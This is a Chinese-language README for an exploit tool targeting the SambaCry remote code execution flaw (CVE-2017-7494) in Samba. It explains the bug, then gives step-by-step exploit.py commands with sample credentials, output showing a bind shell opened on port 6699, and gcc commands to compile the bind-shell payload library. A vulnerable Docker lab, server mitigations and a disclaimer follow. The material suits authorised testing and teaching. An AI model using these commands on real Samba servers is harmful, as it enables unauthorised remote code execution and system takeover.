Samba 是 SMB/CIFS 网络协议的自由软件重新实现。Samba 为各种 Microsoft Windows 客户端提供文件和打印服务,并且可以作为域控制器(DC)或域成员集成到 Microsoft Windows Server 域中。从版本 4 开始,它支持 Active Directory 和 Microsoft Windows NT 域。
4.5.9 及更早版本的 Samba 容易受到名为 SambaCry 的远程代码执行漏洞的影响。CVE-2017-7494 允许远程已认证用户将共享库上传到可写的共享文件夹,并执行代码执行攻击,从而控制托管易受攻击的 Samba 服务的服务器。
Samba 3.5.0 之后的 3.x 版本、4.4.14 之前的 4.x 版本、4.5.10 之前的 4.5.x 版本以及 4.6.4 之前的 4.6.x 版本在使用 Windows 命名管道时未限制文件路径,这允许远程已认证用户将共享库上传到可写的共享文件夹,并通过精心构造的命名管道执行任意代码。

要正确运行此漏洞利用程序,您需要修补版本的 impacket Python 库以及 requirements 文件中的其他依赖项。要全部安装,请运行
pip install -r requirements.txt
如果您运行的是 Python3,则需要在虚拟环境中运行此软件。请按照以下步骤操作:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh
之后,您可以按如下方式运行它:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
例如,如果您想利用此存储库中的易受攻击环境,请运行
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
您将获得以下输出
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
漏洞利用程序参数说明:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t 或 —target - 设置要攻击的远程主机。-e 或 —executable - 设置您要加载的库在本地系统上的路径。-s 或 —remoteshare - 文件将被复制到的远程共享位置。-r 或 —remotepath - 文件在远程系统上的位置。-u 或 —user - 用于登录的用户名。-p 或 —password - 用于登录的密码。-P 或 —remoteshellport - 如果您使用的是绑定 shell 载荷,请在攻击执行后连接到该载荷。要模拟此攻击,您可以使用易受攻击的 docker 镜像。如果您已安装 docker,只需运行
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
如果您想要访问,请使用以下凭据。
sambacrynosambanocry您可以在 bindshell-samba.c 文件中找到此漏洞利用程序的绑定 shell 载荷示例。您可以根据需要进行修改。之后,要生成新的二进制文件,请使用:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.5.0 之后的 3.x、4.4.14 之前的 4.x、4.5.10 之前的 4.5.x 及 4.6.4 之前的 4.6.x
添加以下参数:
nt pipe support = no
到 smb.conf 的 [global] 部分并重启 smbd。这将阻止客户端访问任何命名管道端点。请注意,这可能会禁用 Windows 客户端的某些预期功能。
还应考虑使用 noexec 选项挂载 Samba 用于其可写共享的文件系统。
本程序及之前的程序仅供教育目的使用。未经许可请勿使用。通常的免责声明同样适用,尤其是本人(opsxcq)不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害负责。作者或任何互联网服务提供商对这些程序或其任何衍生品的内容或滥用概不负责。使用这些程序即表示您接受因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 opsxcq 的责任。